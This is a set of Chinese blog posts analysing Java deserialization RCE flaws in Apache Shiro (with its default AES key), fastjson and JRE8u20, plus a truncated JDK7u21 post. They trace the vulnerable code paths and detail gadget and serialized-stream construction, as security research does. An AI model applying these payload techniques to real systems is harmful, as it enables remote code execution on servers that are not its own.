[Java unserialization] Apache Shiro <= 1.2.4 反序列化漏洞分析
0x00 Apache Shiro 这个组件的漏洞应该算是很久很久之前就爆出来了，但是最近工作中又遇到了，刚好最近也在看Java反序列化的东西，所以决定拿出来再分析一下，期间也遇到了一些奇怪的问题。 网上的分析文章中大部分都是手动添加了commons-collections4-4.0的依赖，目的是为了使用ysoserial生成的CommonsCollections2这个payload，然而我遇到的情况是使用了CommonsBeanutils1就可以直接打成功，所以这里我们不再重复网上对CommonsCollections2的分析了。 0x01 调试分析 调试环境： JDK 1.8.0_72 Tomcat 8.0.30 首先我们把shiro的源码clone回来，并切到有问题的分支上去。 git clone https://github.com/apache/shiro.git shiro-root cd shiro-root git checkout 1.2.0 为了能让shiro自带的sample跑起来，要对samples/web/pom.xml文件做一些修改，需要将jstl的版本改为1.2，并且删掉servlet-api的scope字段。同时将jstl-1.2.jar放置在WEB-INF/lib下面。然后应该就可以跑起来并且调试了。 我们将断点打到org.apache.shiro.mgt.DefaultSecurityManager中的resolvePrincipals方法，并且发送一个带有rememberMe Cookie的请求，应该就可以断下来了。 我们继续跟进这个getRememberedIdentity方法： 继续一直跟到getRememberedSerializedIdentity方法： 在这个方法中，读出了我们传入的Cookie，并且进行了base64解码： 接下来shiro会调用convertBytesToPrincipals并将base64解码后的字节数组作为参数传入： 这里通过函数名也能猜出来，进行了两个操作，分别是解密和反序列化，我们先来看解密部分，经过简单的调试后，发现是一个AES解密，并且存在一个预设秘钥Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");，在shiro自带的sample中，并没有通过其他的方式设置这个秘钥，所以这里用的就是这个预设值。 而AES解密中遇到的IV也是从我们传入的Cookie中的前几个字节中获取的，于是我们可以轻易的构造出包含任意内容的Cookie值，解密好的明文就是序列化的内容，调用了deserialize进行反序列化。 最终会调用到org.apache.shiro.io.DefaultSerializer#deserialize方法进行反序列化： 整个流程十分简单，简要概括一下就是：读取cookie -> base64解码 -> AES解密 -> 反序列化 所以我们的payload构造起来也是十分的简单，完整的PoC我会放到我的GitHub上。 0x02 疑点解惑 在调试的过程中，遇到了一些问题，并没有成功的弹出计算器，这里记录一下。 1. 为什么本地搭建环境，使用CommonsBeanutils1打不成功，总是提示ClassNotFound异常？ 这个问题我当时调试了好久，一度以为是payload有问题或者shiro的代码因为年代久远有了变化，因为当时遇到的case就是这个payload一发入魂的，表示十分的迷茫。后来发现了关键问题，我们从github上clone到的sample中，commons-beanutils这个依赖的版本是1.8.3，而ysoserial生成的payload的版本是1.9.2，所以在默认的sample中是无法打成功的。于是我修改版本号到1.9.2，一发入魂。 所以遇到的那个案例中，实际的依赖环境版本可能也是这样的吧，所以才能直接打成功。 2. 假如我的依赖中就是没有高版本的commons-beanutils和commons-collections之类的包，怎么利用？ 这个项目clone下来之后，可以看到是存在一个commons-collections的包的： 但是使用ysoserial提供的CommonsCollections1是无法成功的，会爆出一个异常： 这就十分的奇怪了，为什么偏偏无法反序列化byte array类型，调试了一下发现是在这里抛出的异常： 查了一下Java中Class.forName()以及ClassLoader.loadClass()的区别，发现forName()总是使用调用者的ClassLoader()，而loadClass()则是可以自己指定一个不同的ClassLoader。那shiro中的ClasssLoader是怎么来的？是通过Thread.currentThread().getContextClassLoader();获取的，也就是WebappClassLoader。但是为啥提示无法加载byte array呢，搜索了一番看到了orange博客下面的讨论，了解到了整个事情的真相： Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class。 具体的部分我在这里就不展开讨论了，我在后面贴上原作者的链接，各位同学可以去研究一下，包括在低版本下反弹shell的方法，在orange的博客中也有讲到。 0xFF 参考链接 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 Pwn a CTF Platform with Java JRMP Gadget Loading an array with a classloader
[Java unserialization] fastjson <= 1.2.24 反序列化漏洞分析
0x00 fastjson fastjson是一个非常流行的库，可以将数据在JSON和Java Object之间互相转换，但是在2017年官方主动爆出了fastjson的反序列化漏洞以及升级公告，这次我们就学习一下这个漏洞。 最终的payload会放到我的GitHub上。 这次使用的fastjson是1.2.23版本： <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency> 在分析漏洞之前，我们先看下这个库都有什么样的功能，我们先创建一个User对象： class User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } } 我们主要关注一下从JSON还原回Object的方法，主要的API有两个，分别是JSON.parseObject和JSON.parse，最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象，当在没有对应类的定义的情况下，通常情况下都会使用JSON.parseObject来获取数据。 fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象，在反序列化的时候方便操作。 String myJSON = "{\"@type\":\"me.lightless.fastjsonvuln.User\",\"age\":99,\"username\":\"lightless\",\"secret\":\"2333\"}"; JSONObject u3 = JSON.parseObject(myJSON); System.out.println("u3 => " + u3.get("secret")); 如果需要还原出private成员的话，还需要加上Feature.SupportNonPublicField： User u3 = (User) JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField); 0x01 跟踪分析 根据官方的公告中的WAF检测方法来看，问题很有可能是因为反序列化了任意类型的class从而导致的RCE。 从网上找到的payload中也能看出利用的是TemplatesImpl来执行的命令，这个在之前的JDK7u21中已经分析过了，可能还存在其他的执行命令方法，这些我们暂且不谈，主要来看fastjson的部分。 我们搭建一个简单的Web应用来接受用户POST过来的JSON并且进行反序列化： @RestController public class IndexController { @RequestMapping(value = "/fastjson", method = RequestMethod.GET) public String fastjson() { return "Hello World!"; } @RequestMapping(value = "/fastjson", method = RequestMethod.POST) public JSONObject testVuln(@RequestBody String data) { JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); JSONObject ret = new JSONObject(); ret.put("code", 1001); ret.put("data", "Hello " + obj.get("name")); return ret; } } 传入我们带有@type类型的JSON字符串并且开始调试。在JSON.parseObject处下断并开始向下跟。 一开始会跟进到JSON.parse方法，并且调用了parse()方法继续进行JSON格式的匹配。继续跟进parser.parse()方法。 到了这里之后，开始依次进行JSON的解析，我们传入的第一个字符是{，所以进入LBRACE这个分支中，并继续进入parseObject(object, fieldName)方法来解析对象。 这个时候lexer所在的字符为"，会进入下面这个分支继续解析JSON字符串，通过scanSymbol方法获取到双引号之间的字符串也就是@type 之后会获取@type字段的值，并且尝试获取这个类的Class，经过一系列的判断后，调用了deserializer.deserialize(this, clazz, fieldName)方法进行反序列化。 一开始没找到sortedFieldDeserializers是在什么地方生成的，想仔细跟一下代码，于是就从头到尾的看了下getDeserializer(clazz)的部分，发现是在这里生成的。这个函数的目的是获取一个可以反序列化我们通过@type指定的类的deserializer，由于预定于的列表中没有，于是会继续调用createJavaBeanDeserializer()来生成一个，实际上是调用了ParseConfig.build()方法，其中会通过反射机制获取我们指定类的一些信息，通过对method进行一些过滤，猜测出getter和setter并推出一些可能存在的field。 具体的猜测规则这里不展开说明了，感兴趣的话可以自行跟一下 紧接着就依次处理JSON字符串中的各个字段，当匹配到payload中的_tfactory字段的时候，由于我们传入的JSON字符串中是一个空的对象，进入parseField方法后，继续向下跟就会调用到JavaBeanDeserializer.deserialize()方法，在这里会为_factory创建一个TransformerFactoryImpl对象并赋值。 同样的，_outputProperties字段我们也是传入了一个空对象，会进入和上面相同的流程，仔细分析一下这段代码，这里是触发命令执行的关键部分。 首先依然会进入parseField方法 进入之后会调用smartMatch(key)方法，这个方法的主要作用是进行一些『智能匹配』，方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等，所以当我们传入了_outputProperties的时候，实际上就给处理成了outputProperties，并返回对应的FieldDeserializer对象，之后就会调用该对象的parseField方法。进入该方法后，就会调用setValue(object, value)方法，继续跟进。 跟进之后显而易见，getOutputProperties被调用了： 然后就会执行我们在_bytecodes构造的恶意字节码，造成命令执行。 0x02 一些疑问 根据上面的流程，我们应该已经可以写出PoC了，这里就不占用篇幅展示了，直接放到了我的GitHub上。 一开始在构造的时候发现字节码中存在许多的不可显字符，网上公开的PoC中使用了base64来编码，感觉非常神奇，为什么fastjson会帮我们解码呢？于是构造了数组传入之后，发现fastjson在处理[B类型的数组时，会调用lexer.bytesValue()，其中的lexer就是JSONScanner，这个bytesValue()方法会自动帮我们执行一次base64解码，所以我们构造payload的时候只需要传入base64编码后的内容即可。 至此，其实整个流程已经走完了，但是还有一点令我们非常难受，就是我们的demo中，在接收JSON的时候设置了Feature.SupportNonPublicField。默认情况下fastjson只会反序列化public的方法和属性，而我们构造的PoC中有private的成员变量_bytecodes和_name，为了给这些变量赋值，则必须要假设服务端开启了SupportNonPublicField功能。 而现实情况下，大部分都是parse(json)和parseObject(json)一把梭，使用这个功能的情况不是很多，这样一来就导致我们的PoC没有了良好的通用性，那么有没有解决方案呢？答案当然是有的，那就是不使用TemplatesImpl，换一种RCE的触发方式即可。在网上经过一番搜索，发现了一些可以利用的方法 主要是利用JNDI+RMI方法，这个可以参考之前的spring-tx.jar的反序列化问题，当时就是采用这种方式来触发的。但是调用链不太好找，这个PPT中给出了多个利用链，这里的调用链后续再进行分析，这里暂且不做验证。 这样一来，只要是开发同学在编写代码时，直接反序列化了用户传入的JSON，就有可能造成RCE，而攻击者也无需关心SupportNonPublicField是否开启了，危害提高了许多。 0x03 修复措施 在fastjson的官方补丁中，将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName)，并且扩充了黑名单列表，将传入的类名与黑名单一一比较，如果发现了相同开头的类就停止反序列化。 // 新增的黑名单 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework 可以看到绝大部分常用的类都已经被加进来了，但是如果不经常维护此名单，一旦后面出现了新的可以利用的类，很容易就绕过这个限制。
这篇又是一个升华，之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 0x00 TLDR 之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 JRE8u20这个漏洞是其他人在之前的JDK7u21的基础上进行改进得到了，他绕过了JavaSE后续对AnnotationInvocationHandler类的修复，阻止了这个类反序列化任意类型的对象。 在研究JRE8u20这个漏洞之前，我们有必有对Java的序列化机制进行深入研究了。 0x01 Java序列化机制 关于Java的序列化格式以及协议字段释义可以参考这篇文档，如果想要深入学习序列化机制，强烈建议仔细阅读这篇文档，我们先通过代码来看一下序列化格式： class AuthClass implements Serializable { private static final long serialVersionUID = 100L; private String password; public AuthClass(String password) { this.password = password; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); if (!this.password.equals("root")) { throw new Exception("Wrong Password."); } } } // 序列化的时候写两次 AuthClass authClass = new AuthClass("123456"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/tmp/authClass.bin")); oos.writeObject(authClass); oos.writeObject(authClass); oos.close(); 将这个类序列化后，得到的内容如下： 00000000: aced 0005 7372 0027 6d65 2e6c 6967 6874 ....sr.'me.light 00000010: 6c65 7373 2e64 6573 6572 6961 6c69 7a65 less.deserialize 00000020: 2e76 756c 6e2e 4175 7468 436c 6173 7300 .vuln.AuthClass. 00000030: 0000 0000 0000 6402 0001 4c00 0870 6173 ......d...L..pas 00000040: 7377 6f72 6474 0012 4c6a 6176 612f 6c61 swordt..Ljava/la 00000050: 6e67 2f53 7472 696e 673b 7870 7400 0631 ng/String;xpt..1 00000060: 3233 3435 36 23456 分析文件的时候，推荐借助SerializationDumper来分析，由于SerializationDumper会帮我们加上一些原本没有的数据帮助我们理解，所以还是需要借助原始的十六进制字节来辅助研究。 前面说过了序列化后的字节流其实是有一些格式的，在我们开始阅读这些字节之前，需要先看几个常用的格式。 TC_STRING，这个表示的是一个字符串，格式如下： TC_STRING newHandle length(2 bytes) value TC_STRGIN 00 08 70 61 73 73 77 6f 72 64 其实newHandle是不会写入文件中的（后面的newHandle同理，也没有实际写入文件），但是在反序列化的时候确实会实际分配这样的4个字节，具体作用后面再看。 TC_OBJECT，表示一个对象，格式如下： TC_OBJECT classDesc newHandle classdata[] classDesc是一个TC_CLASSDESC结构，classdata[]就是对象中实际的数据。 TC_CLASSDESC，是一个用来描述类的结构，主要包括类的名称、有几个成员、每个成员的类型以及成员名等信息。 TC_CLASSDESC className serialVersionUID newHandle classDescInfo 或 TC_PROXYCLASSDESC newHandle proxyClassDescInfo classDescInfo包括：classDescFlags fields classAnnotation superClassDesc 翻译一下主要是这些数据： 0x72 - 开始标记-TC_CLASSDESC 2字节，类名长度，后面紧接类名，其实是个TC_STRING 8字节，指纹-serialVersionUID 1字节，标志-classDescFlags 2字节，数据域描述符的数量，后面紧跟多个数据域描述符，其实是fields 0x78 - 是classAnnotation，如果classAnnotation为空则直接使用0x78来表示classAnnotation的结束标记 1字节，超类类型-superClassDesc，如果 没有就是70 serialVersionUID，是可以在代码中指定的，如果没有指定，会通过拼接类的一些数据进行SHA计算，然后获取前8个字节作为指纹。 classDescFlags，是定义在java.io.ObjectStreamConstatns中的，由多位掩码组成，例如SC_WRITE_METHOD，SC_SERIALIZABLE等。 fields，是描述类中的数据域成员信息的结构，包括成员的名称，类型等信息。 fields: (short)<count> fieldDesc[count] fieldDesc: primitiveDesc objectDesc primitiveDesc: prim_typecode fieldName objectDesc: obj_typecode fieldName className1 看起来十分的复杂，实际上简化一下就是先存储field的数量，然后按顺序依次存储每个field。 每个field包括field的类型，以及filed的名称，如果field是对象（prim_typecode == L），那么在fieldName之后需要继续添加对该对象的描述。 可用的prim_typecode有B,C,D,F,I,J,L,S,Z,[这几种。分别对应 B，byte C，char D，double F，float I，int J，long L，对象 S，short Z，boolean [，数组 我们使用刚刚序列化后的AuthClass来看一下fields字段： fieldCount - 1 - 0x00 01 Fields 0: Object - L - 0x4c // 该域的类型，L，表示是一个对象 fieldName // 该域的名称，是一个不完整的TC_STRING结构，需要注意的是这里没有TC_STRING标志开头 Length - 8 - 0x00 08 Value - password - 0x70617373776f7264 className1 // 由于该域是一个对象，所以需要紧跟描述对象的结构objectDesc TC_STRING - 0x74 // 注意这里也是一个TC_STRING对象，但是这里是具有TC_STRING标志 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b ``` TC_REFERENCE，是引用类型。从前面的几个结构可以看出来，序列化后的数据其实相当繁琐，多层嵌套很容易搞乱，在恢复对象的时候也不太容易。于是就有了引用这个东西，他可以引用在此之前已经出现过的对象。 TC_REFERENCE Handle 那么现在的问题是，在反序列化的时候，Java怎么知道当前引用的是前面出现过的哪一个对象？这时候前面提到过的newHandle就是做这个用的，newHandle是一个递增的4字节数据，从00 7e 00 00开始，每出现一个对象，就会为这个对象设置一个handle，并且自增1。所以在使用TC_REFERENCE的时候只需要跟上对应对象的handle即可。 看下AutchClass第二次写入的时候是什么样的： TC_REFERENCE - 0x71 Handle - 8257538 - 0x00 7e 00 02 而这个007e0002就是AuthClass对应的TC_CLASSDESC结构。 下面来完整的看一下刚才产生的反序列化数据，应当已经能够理解了。 $ java -jar ./SerializationDumper-v1.0.jar -r ./authClass.bin STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 39 - 0x00 27 Value - me.lightless.deserialize.vuln.AuthClass - 0x6d652e6c696768746c6573732e646573657269616c697a652e76756c6e2e41757468436c617373 serialVersionUID - 0x00 00 00 00 00 00 00 64 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Object - L - 0x4c fieldName Length - 8 - 0x00 08 Value - password - 0x70617373776f7264 className1 TC_STRING - 0x74 newHandle 0x00 7e 00 01 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 02 classdata me.lightless.deserialize.vuln.AuthClass values password (object) TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 6 - 0x00 06 Value - 123456 - 0x313233343536 TC_REFERENCE - 0x71 Handle - 8257538 - 0x00 7e 00 02 开头STREAM_MAGIC相当于魔数，固定为0xACED，紧接着是序列化协议的版本，目前为0x0005， 再接下来就是实际的数据了，比较简单。 最后还有一个比较重要的成员是TC_BLOCKDATA，如果这个类重写了writeObject方法，并且在序列化对象之前写入了一些额外的数据，就会在序列化后放到TC_BLOCKDATA结构中，比如LinkedHashSet类: private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); } 该方法在序列化的时候，额外写入了capacity, loadFactor 和 size数据，这就会导致一个LinkedHashSet被序列化后加上额外的数据： classdata java.util.HashSet values objectAnnotation TC_BLOCKDATA - 0x77 Length - 12 - 0x0c Contents - 0x000000103f40000000000002 // 这部分就是额外的数据 TC_STRING - 0x74 newHandle 0x00 7e 00 02 Length - 3 - 0x00 03 Value - aaa - 0x616161 TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 3 - 0x00 03 Value - bbb - 0x626262 TC_ENDBLOCKDATA - 0x78 classdata的开始部分就是附加上的TC_BLOCKDATA。紧随其后的就是每个成员的实际数据，按照TC_CLASSDESC中的的顺序排列。 0x02 Review JDK7u21 现在回过头来看JDK7u21漏洞的修复： 这里增加了一步对type字段类型的检查，如果传入的类型不是AnnotationType，那么就会抛出一个异常，退出反序列化流程。然而我们在构造payload的时候，将type赋值为Templates.class，自然是过不了这个检查，所以JDK7u21也就无法在后续的Java版本上使用了。 但是我们仔细的读一下这个代码，可以看到先进行了var1.defaultReadObject()对这些数据进行了反序列化，然后才进行的类型检查，然后再抛出异常，停止序列化流程。但是这个时候我们的evil object已经被反序列化完成了，只是没有办法去触发而已，如果我们找到一个类，它会在反序列化的时候catch异常并且完成整个反序列化流程，似乎看起来有些希望。 我们比较想找到类似这样的点： private void readObject(ObjectInputStream input) throws Exception { try { input.readObject(); // 这里会调用到AnnotationInvocationHandler的readObject } catch (Exception e) { // 啥也不做，继续反序列下一个对象 } } JRE8u20的漏洞作者在writeup中提到了这样的一个点：java.beans.beancontext.BeanContextSupport，其中在反序列化的时候，有一个try..catch结构，并且依次进行反序列化。 所以如果我们能在进行反序列化的时候触发漏洞，依然可以使用JDK7u21的payload来进行命令执行。所以如何将关键的AnnotationInvocationHandler进行触发就是重点了。前面讲到了如果需要引用一个已经出现过的结构，通过TC_REFERENCE加handle的形式进行引用，那么如果我们序列化数据中存在一个假的对象，即在类的定义中没有出现过的成员，那么在反序列化的时候，该对象会被抛弃掉，但是还是会为该对象分配一个handle，这个就是JRE8u20的利用基础。 我们通过在JDK7u21的proxy对象（LinkedHashSet的第二个数据）中插入一个假的成员，使其为BeanContextSupport的对象，在反序列化的时候这个数据会被抛弃掉，因为实际上类的定义中并没有这么一个成员，但是该对象依然会被反序列化并且为其分配handle，那么在BeanContextSupport的反序列化过程中，就可以利用前面提到的try...catch...结构顺利的还原出AnnotationInvocationHandler对象，并且通过构造序列化数据完成整个序列化流程。 0x03 构造Payload 整个payload还是基于GitHub上的这个代码写的，基本上没有变过，不得不说作者实在是太厉害啦。 整体的思路就是构造一个LinkedHashSet，其中有两个元素，第一个为存放了恶意代码的templates，第二个就是Templates Proxy，里面存放AnnotationInvocationHander。 step 1 构造LinkedHashSet 这步比较简单，按照我们之前看过的TC_OBJECT格式就可以写出来: TC_OBJECT TC_CLASSDESC LinkedHashSet.class.getName() // classname，这里先省略掉长度等无关的内容 -2851667679971038690L // 指纹ID (byte) 2 // flags: SC_SERIALIZABLE (short) 0 // field count TC_ENDBLOCKDATA // classAnnotations TC_CLASSDESC // 父类，LinkedHashSet的父类是HashSet HashSet.class.getName() // HashSet名称 -5024744406713321676L // HashSet指纹ID (byte) 3 // HashSet的flags: SC_SERIALIZABLE & SC_WRITE_METHOD (short) 0 // HashSet field count TC_ENDBLOCKDATA // HashSet classAnnotations TC_NULL // HashSet 没有父类了 // 以下是LinkedHashSet的classdata数据部分 blockdata element1 element2 step 2 blockdata && element1 这块比较简单，就是要把HashMap的blockdata和第一个template元素放进去。我们先看下HashSet的writeObject部分，来确定需要写入哪些额外的部分。 可以看到，除了默认的defaultWriteObject方法外，还额外的写入了Int, Float, Int三个数据。我们构造一个普通的LinkedHashSet并且序列化以后，将这块的数据直接拿过来就可以了。 element1就是实际的template对象，我们先直接拿过来，然后classdata部分就变成了这样： classdata TC_BLOCKDATA - 0x77 Length - 12 - 0x0c Contents - 0x000000103f40000000000002 templates element2 step 3 构造Templates Proxy 这部分相对来说比较复杂巧妙，也是构造PoC的核心部分。 既然是一个Proxy对象，那么首先要构造一个TC_OBJECT TC_OBJECT TC_PROXYCLASSDESC // proxy class declaration 1 // interface count Templates.class.getName() // interface name TC_ENDBLOCKDATA // classAnnotations TC_CLASSDESC // super class desc Proxy.class.getName() -2222568056686623797L SC_SERIALIZABLE (short) 2 (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field TC_ENDBLOCK TC_NULL 这里插入了一个不存在的成员dummy，在反序列化的时候会抛弃这个成员，但是仍然会为其进行反序列化操作。再向下构造就是这个PROXYCLASSDESC的classdata，第一个数据是一个BeanContextSupport类的对象，依然要先构造CLASSDESC TC_OBJECT TC_CLASSDESC BeanContextSupport.class.getName() -4879613978649577204L (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD) (short) 1 (byte) 'I', "serializable" TC_ENDBLOCKDATA TC_CLASSDESC // super class BeanContextChildSupport.class.getName() 6328947014421475877L, SC_SERIALIZABLE, (short) 1 (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;" TC_ENDBLOCKDATA TC_NULL // BeanContextChildSupport 的 classdata部分 TC_REFERENCE, X // X是需要便宜的数值 // BeanContextChildSupport的classdata部分 1 到这里之后先停一下，我们再回顾一下BeanContextSupport的源码: private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject(); initialize(); bcsPreDeserializationHook(ois); if (serializable > 0 && this.equals(getBeanContextPeer())) readChildren(ois); deserialize(ois, bcmListeners = new ArrayList(1)); } } public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { int count = serializable; while (count-- > 0) { Object child = null; BeanContextSupport.BCSChild bscc = null; try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; } catch (ClassNotFoundException cnfe) { continue; } .... } } 从代码中可以看到，源码中已经通过ois.defaultReadObject()方法还原了stream中的BeanContextSupport对象，之后因为我们构造了serializable的值为1，所以会继续执行readChildren(ois)方法，在这个方法中会继续从stream中读取一个object，这时候就要把我们构造好的AnnotationInvocationHandler对象传进去，令其反序列化这个对象。所以紧接着我们构造： TC_OBJECT TC_CLASSDESC "sun.reflect.annotation.AnnotationInvocationHandler" 6182022883658399397L (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD) (short) 2 (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;" (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;" TC_ENDBLOCKDATA TC_NULL // classdata Templates.class map 在readChildern(ois)中，在执行child = ois.readObject()时，会抛出异常，但这个异常被catach了，然后会返回到BeanContextSupport.readObject()方法中，继续向下执行到deserialize(ois, bcmListeners = new ArrayList(1))。 protected final void deserialize(ObjectInputStream ois, Collection coll) throws IOException, ClassNotFoundException { int count = 0; count = ois.readInt(); while (count-- > 0) { coll.add(ois.readObject()); } } 他会继续从stream中读取一个Int，并且按照这个数量读取对应多个Object，所以我们只要传个0进行就可以了。 TC_BLOCKDATA (byte) 4, 0 TC_ENDBLOCKDATA 到这里我们已经构造好了dummy这个假的成员，目的是为了给AnnotationInvocationHandler分配一个handle，所以在proxy的h成员中直接构造TC_REFREENCE, Y就可以了，Y就是handle的偏移量。 到目前为止，整体的PoC已经写好了，然后有个问题就是偏移量的计算，主要有两个地方，一个是dummy中beanContextChildPeer的值，另外就是Proxy.h的值。 step 4 偏移量确定 先来看下beanContextChildPeer应当如何赋值，来看beanContextSupport的超类BeanContextChildSupport代码： public class BeanContextChildSupport implements BeanContextChild, BeanContextServicesListener, Serializable { ... public BeanContextChildSupport() { super(); beanContextChildPeer = this; pcSupport = new PropertyChangeSupport(beanContextChildPeer); vcSupport = new VetoableChangeSupport(beanContextChildPeer); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); } ... public BeanContextChild beanContextChildPeer; } 可以看到在构造方法中将beanContextChildPeer赋值到了this上，所以如果我们想要触发BeanContextSupport.readObject方法，就必须让this变成BeanContextSupport，这就需要用TC_REFERENCE来将前面写好的结构引过来。 另外一处需要计算偏移量的就是Proxy.h，这个直接引用构造好的AnnotationInvocationHandler结构就可以了。 那么这个偏移量应该怎么算呢，其实也简单，我们先看templates变量之前，一个子类一个父类，共3个handle，templates之后和待确定的TC_REFERENCE之前一共有9个handle，其中BeanContextSupport对象在最后一个位置。然后我们将templates对象序列化一下，然后看看这个里面会分配多少个handle。 统计一下一共14个handle，那么我们要引用的偏移就是3 + 14 + 9 = 26，但是偏移量是从开始算的，所以这里应该是+25，变成序列化格式就是0x007e0019。同理再将最后的Proxy.h结构按照相同的方法计算，结果就是29，也就是0x007e001d 原作者在代码中留了个坑，在编写序列化数据的时候，在数组里留下了baseWireHandle + 12和baseWireHandle + 16这种偏移，但是实际上这个并不是真正的偏移值，作者调用了patch方法修复了很多处的问题，当然这两处也被修改掉了。 step 5 偏移量修复 将PoC写好后，会发现根本无法运行，原因是我们在构造序列化数据的时候，会出现偏移量错误的情况，因为有些对象是直接赋值到数组中而不是构造进去的，所以在TC_REFERENCE引用的时候其实是有误差的。经过检查所有出现TC_REFERENCE的部分，总共有3处偏移量需要修复。 这个TemplatesImpl._name成员应该是String类型，但是却被错误的引用到了java.util.HashSet类型，所以我们要将这里调整为0x00 7e 00 04，这一处的handle为Ljava/lang/String;，刚好满足需要，原作者在这里写错了，他将偏移量改为了0x00 7e 00 05，虽然没有发现会影响运行，但是类型对不上号了。 调整好后再次运行，发现序列化数据在这里出现了问题 在使用dumper.jar查看数据的时候出现了Invalid classDesc reference的情况，很明显这个0x007e000a的偏移是有问题的。这里应当引用的是TC_ARRAY结构后面的TC_CLASSDESC，数组中的前一个元素已经定义好了，它的newHandle为0x007e000d。 第三个点比较奇怪，不修复的话PoC也能运行成功，但还是推荐修复一下。 漏洞作者将这个TC_REFREENCE 0x007e0002修复为了TC_REFREENCE 0x007e0009，对应上了TemplatesImpl结构，因为我们在JDK7u21中构造的时候是这样的： 需要将恶意的templates放到map中，所以这里也需要修复，但是我在实际测试的时候发现，即便不对此处进行修复，依然可以触发命令执行。 到这里整个PoC就已经全部构造完成了，PoC的详情可以参考我的GitHub :) 0x04 修复 在JRE8u20之后的版本，该漏洞已经修复了。 使用了readField方法规避了对整个对象的还原，并且也可以对序列化对象的类型进行检查。 我们在开发需要处理序列化数据接口的时候，也可以参考这种防御的思路，预先对数据进行检查，只还原白名单中允许的接口。 0xFF 参考文献 这位大佬自己写了个SerialWriter，比我手算偏移量方便许多； https://www.anquanke.com/post/id/87270 https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html https://github.com/pwntester/JRE8u20_RCE_Gadget
这篇文章应当是对Java反序列化漏洞理解的一个分界点吧。。。 0x00 TLDR 在上一次研究ApacheCommonsCollections的时候，由于本地的JRE环境是1.8，导致无法复现网上各位大佬提供的payload，但是在查找资料的过程中发现了ysoserial这个项目，简单的讲就是一个Java反序列化漏洞的利用框架，其中集成了很多针对不同框架的payload。在使用这个框架的过程中，发现了一个JDK7u21的payload，利用的是JDK本身的漏洞，但是如名称所言，这个只在JDK7u21及以前的版本中生效，在经过了多天的调试分析后，发现这个漏洞利用流程非常巧妙复杂，有很多值得学习的地方，漏洞作者也写出了一份writeup放在了gist上。 本以为这个漏洞看起来十分简单，但是实际调试起来却非常困难，足足让本菜鸡调了好几天才彻底搞明白，有一部分也是因为不熟悉Java的某些特性造成的，所以想要学习到东西还是要亲手尝试一下，只是拜读其他大佬的文章并没有什么用，而且总结成文也是再次加深了对漏洞的理解，毕竟想要给大家讲明白就需要自己先搞明白。 纸上得来终觉浅，绝知此事要躬行。 0x01 动态生成Java代码 在着手分析之前，我们先来学习一下前置技能。在这个PoC中，作者通过javassist来动态生成了恶意的gadgets，用来触发命令执行。 public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { // 利用TemplatesImpl类来触发恶意的bytescode final TemplatesImpl templates = new TemplatesImpl(); // 获取容器ClassPool，注入classpath ClassPool pool = ClassPool.getDefault(); System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = 